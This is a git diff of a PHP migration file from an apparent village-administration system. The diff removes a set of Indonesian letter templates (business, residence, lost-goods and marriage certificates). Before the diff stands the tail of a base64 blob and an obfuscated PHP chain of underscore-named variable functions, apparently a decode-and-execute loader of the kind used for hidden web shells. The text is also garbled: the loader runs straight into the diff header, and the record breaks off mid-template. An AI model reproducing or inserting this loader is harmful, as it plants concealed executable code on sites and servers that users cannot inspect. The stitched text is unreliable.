PnM+kiv3r6+cgg4zrXzrTqJzR2elfFJtv4OaL+755hsI6vROuK59V9qr/+bOAt+ij7mvPGv131eef6gJPegW5sXhm4en+WV0egJ8KjWKqNbXiVf68l5M/71V6LbwfCkl53+h/mb2vaKS/QA39KYZP9rjtv73eXs81v9XuwXs1mLnYV9lZrU1mamqvT3WV1/dq2XgU16O0o83B07ZxyP4mQqNnX/PnpL+rdkh1lPkFzorax/41DXG5bvjwmb5prLOV9AdsswcG6RmZnfv8GbzGfWD2/H+2/nZZU6zLZxhl7OV1ouY8UnnmhAuDc42b3j/XWv8a/qPnMq2X/fd3rV0V9QKtDid/fq1Q7ywc8VCTd/4GdQydzvrki9gKg4saWq67Zg1nuq/n7sp5ncONHy/rdR5wmz+39apNfzyehfJeschrA2vhCJdniP/h+KYzlaqOeeWMp7Q//dF6cJaby/XFZ/p19dLzmuXYGaUfYXMhnRv+h9J7cm/W90fADu0jzrVCxKTUDeS7ZXcjie2FbSSv5DDag5xrbfT3ReuLulPBg424IXzTs0h03UIS9Y07UNpVzYg+Ut4pP4MILP5S0VY640+WNdfc8l7T+VntMwk1ayFeyc63K+eCMeHn882nn3768/849HP28+fi1T8/fc/tpXvfcuM/ngb8+Yb+f/O/52Gv/wb39eulf4O7iqGfK6DNIfTPT/8Py2B/BA=='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/migrations/Data_awal.php b/donjo-app/models/migrations/Data_awal.php index c1fa4dbe0..59115b469 100644 --- a/donjo-app/models/migrations/Data_awal.php +++ b/donjo-app/models/migrations/Data_awal.php @@ -17883,414 +17883,8 @@ protected function tambah_template_surat($hasil) $hasil = $hasil && $this->data_awal('tweb_surat_format', $suratRTF); - $uratTinyMCE = [ - [ - 'nama' => 'Raw TinyMCE', - 'kode_surat' => '000', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"kode":"[form_keterangan]","nama":"Keterangan","tipe":"text","deskripsi":"Masukkan keterangan"}]', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        -

        Nomor : [format_nomor_surat]

        -

        \u{a0} \u{a0} \u{a0} Yang bertanda tangan di bawah ini [Jabatan] [Nama_desa], Kecamatan [Nama_kecamatan], [Sebutan_kabupaten] [Nama_kabupaten], Provinsi [Nama_provinsi] menerangkan dengan sebenarnya bahwa :

        - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
        1.Nama:[NAma]
        2.Tempat/tanggal lahir:[TtL]
        3.Umur:[UsIa]
        4.Warga negara:[WArga_negara]
        5.Agama:[AgAma]
        6.Jenis Kelamin:[JeNis_kelamin]
        7.Pekerjaan:[Pekerjaan]
        8.Tempat tinggal:[AlamaT] [Sebutan_desa] [Nama_desa], Kecamatan [Nama_kecamatan], [Sebutan_kabupaten] [Nama_kabupaten]
        9.Surat bukti diri\u{a0}\u{a0}
        \u{a0}KTK:[Nik]
        \u{a0}KK:[No_kk]
        11.Keterangan:Mohon keterangan yang akan dipergunakan untuk [Form_keterangan].
        12.Berlaku:[mulai_berlaku] s/d [berlaku_sampai]
        13.Golongan Darah:[GOl_darah]
        -

        \u{a0} \u{a0} \u{a0} \u{a0} \u{a0} \u{a0} \u{a0}Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

        - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
        \u{a0}\u{a0}[Nama_desa], [Tgl_surat]
        Pemegang Surat\u{a0}[atas_nama]
        \u{a0}



        \u{a0}
        [Nama]\u{a0}[Nama_pamong]
        \u{a0}\u{a0}[SEbutan_nip_desa] : [nip_pamong]
        -

        [qr_code]
        ", - ], - [ - 'nama' => 'Keterangan Usaha', - 'kode_surat' => '500', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_nama_usaha]","nama":"Nama Usaha","deskripsi":"Masukkan Nama \/ Jenis usaha","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.No. KK:[No_kk]
        4.Kepala Keluarga:[Kepala_kk]
        5.Tempat / Tanggal Lahir:[TtL]
        6.Jenis Kelamin:[Jenis_kelamin]
        7.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        8.Agama:[AgAma]
        9.Status:[Status_kawin]
        10.Pendidikan:[Pendidikan_kk]
        11.Pekerjaan:[PeKerjaan]
        12.Kewarganegaraan:[WArga_negara]
        13.Keperluan:[Form_keperluan]
        14.Berlaku:[Mulai_berlaku] sampai dengan [Berlaku_sampai]
        \r\n

        Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas, yang memiliki usaha [Form_nama_usaha].

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_namA]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        ", - ], - [ - 'nama' => 'Pengantar Laporan Kehilangan', - 'kode_surat' => 'S-13', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_nama_barang]","nama":"Nama Barang","deskripsi":"Masukkan Nama Barang Yang Hilang","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_rincian]","nama":"Rincian","deskripsi":"Masukkan Rincian","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keterangan]","nama":"Keterangan","deskripsi":"Masukkan Keterangan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.No. KK:[No_kk]
        4.Kepala Keluarga:[Kepala_kk]
        5.Tempat / Tanggal Lahir:[TtL]
        6.Jenis Kelamin:[Jenis_kelamin]
        7.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        8.Agama:[AgAma]
        9.Status:[Status_kawin]
        10.Pendidikan:[Pendidikan_kk]
        11.Pekerjaan:[PeKerjaan]
        12.Kewarganegaraan:[WArga_negara]
        \r\n

        Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.

        \r\n

        Orang tersebut telah datang kepada kami untuk melapor dan mengaku telah kehilangan [Form_nama_barang] sebagai berikut:

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        Rincian:[Form_rincian]
        Keterangan:[Form_keterangan]
        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_namA]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Pengantar', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keterangan]","nama":"Keterangan","deskripsi":"Masukkan Keterangan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.Tempat / Tanggal Lahir:[TtL]
        3.Umur:[UsIa]
        4.Warga Negara:[WArga_negara]
        5.Agama:[AgAma]
        6.Jenis Kelamin:[Jenis_kelamin]
        7.Pekerjaan:[PeKerjaan]
        8.

        Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        9.Surat bukti diri
        KTP:[Nik]
        KK:[No_kk]
        10.Keperluan:Mohon keterangan yang akan dipegunakan untuk [Form_keperluan].
        11.Berlaku:[Mulai_berlaku] s/d [Berlaku_sampai]
        12.Golongan Darah:[GOl_darah]
        \r\n

        Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_namA]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Penduduk', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama:[NAma]
        2.Tempat / Tanggal Lahir:[TtL]
        3.Umur:[UsIa]
        4.Warga Negara:[WArga_negara]
        5.Agama:[AgAma]
        6.Jenis Kelamin:[Jenis_kelamin]
        7.Pekerjaan:[PeKerjaan]
        8.

        Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        9.Surat bukti diri
        KTP:[Nik]
        KK:[No_kk]
        10.Keperluan:Mohon keterangan yang akan dipegunakan untuk [Form_keperluan].
        11.Berlaku:[Mulai_berlaku] s/d [Berlaku_sampai]
        12.Keterangan lain-lain:Orang tersebut di atas adalah benar-benar penduduk [SeButan_desa] kami dan ada istiadat baik.
        \r\n

        Demikian surat ini dibuat, untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_namA]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        No:
        Tanggal:
        Mengetahui,
        Camat - [NaMa_kecamatan]
        [qr_code]


        ..............................................
        \r\n
        - ", - ], - [ - 'nama' => 'Pengantar Izin Keramaian', - 'kode_surat' => 'S-12', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_jenis_acara]","nama":"Jenis Acara","deskripsi":"Masukkan Jenis Acara","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::YA, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.No. KK:[No_kk]
        4.Kepala Keluarga:[Kepala_kk]
        5.Tempat / Tanggal Lahir:[TtL]
        6.Jenis Kelamin:[Jenis_kelamin]
        7.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        8.Agama:[AgAma]
        9.Status:[Status_kawin]
        10.Pendidikan:[Pendidikan_kk]
        11.Pekerjaan:[PeKerjaan]
        12.Kewarganegaraan:[WArga_negara]
        13.Keperluan:Sebagai pengatar untuk mendapatkan Surat Izin Keramaian berupa [JeNis_acara] mulai tanggal [Mulai_berlaku] sampai dengan [Berlaku_sampai] dengan keperluan [Form_keperluan].
        \r\n

        Orang tersebut adalah benar-benar warga [Sebutan_desa] [NaMa_desa] dengan data seperti di atas.

        \r\n

        Demikian surat keterangan ini dibuat, untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_namA]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Pergi Kawin', - 'kode_surat' => 'S-30', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_tujuan]","nama":"Tujuan","deskripsi":"Masukkan Tujuan","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::TIDAK, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.Tempat / Tanggal Lahir:[TtL]
        4.Jenis Kelamin:[Jenis_kelamin]
        5.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        6.Agama:[AgAma]
        7.Status:[Status_kawin]
        8.Pekerjaan:[PeKerjaan]
        9.Kewarganegaraan:[WArga_negara]
        10.Tujuan:[Tujuan]
        11.Keperluan:[Form_keperluan]
        12.Berlaku:[Mulai_berlaku] sampai dengan [Berlaku_sampai]
        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Pernyataan Belum Memiliki Akta Lahir', - 'kode_surat' => 'S-19', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => null, - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::TIDAK, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        3.Tempat / Tanggal Lahir:[TtL]
        4.Jenis Kelamin:[Jenis_kelamin]
        \r\n

        Dengan orang tua:

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        5.Nama Ayah:[NaMa_ayah]
        6.NIK / No. KTP Ayah:[Nik_ayah]
        7.Nama Ibu:[NaMa_ibu]
        8.NIK / No. KTP Ibu:[Nik_ibu]
        \r\n

        Adalah benar-benar warga [SeButan_desa] [NaMa_desa] dan belum pernah memiliki Akta Kelahiran.

        \r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya untuk dapat dipergunakan sebagaimana mestinya.

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        [Atas_namA]




        [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan Domisili Usaha', - 'kode_surat' => 'S-16', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_nama_usaha]","nama":"Nama Usaha","deskripsi":"Masukkan Nama \/ Jenis usaha","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::TIDAK, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        1.Nama Lengkap:[NAma]
        2.NIK / No. KTP:[Nik]
        3.Tempat / Tanggal Lahir:[TtL]
        4.Jenis Kelamin:[Jenis_kelamin]
        5.

        Alamat / Tempat Tinggal

        :

        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]
        6.Agama:[AgAma]
        7.Status:[Status_kawin]
        8.Pendidikan:[Pendidikan_kk]
        9.Pekerjaan:[PeKerjaan]
        10.Kewarganegaraan:[WArga_negara]
        \r\n

        Orang tersebut di atas adalah benar-benar warga [Sebutan_desa] [NaMa_desa] yang memiliki usaha [Form_nama_usaha] di [AlamaT], [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten].

        \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        [NaMa_desa], [TgL_surat]
        Pemegang Surat [Atas_namA]




        [NAma] [Nama_pamonG]
        [SEbutan_nip_desa] : [nip_pamong]
        \r\n

        [qr_code]
        - ", - ], - [ - 'nama' => 'Keterangan JAMKESOS', - 'kode_surat' => 'S-15', - 'masa_berlaku' => 1, - 'satuan_masa_berlaku' => 'M', - 'orientasi' => 'Potrait', - 'ukuran' => 'F4', - 'margin' => '{"kiri":1.78,"atas":0.63,"kanan":1.78,"bawah":1.37}', - 'qr_code' => StatusEnum::YA, - 'kode_isian' => '[{"tipe":"text","kode":"[form_no_kartu_jamkesos]","nama":"No Kartu JAMKESOS","deskripsi":"Masukkan No. Kartu JAMKESOS","atribut":"class=\"required\""},{"tipe":"textarea","kode":"[form_keperluan]","nama":"Keperluan","deskripsi":"Masukkan Keperluan","atribut":"class=\"required\""}]', - 'form_isian' => '{"individu":{"sex":"","status_dasar":"1"}}', - 'mandiri' => StatusEnum::TIDAK, - 'syarat_surat' => null, - 'template' => " -

        [JUdul_surat]

        \r\n

        Nomor : [Format_nomor_suraT]

        \r\n

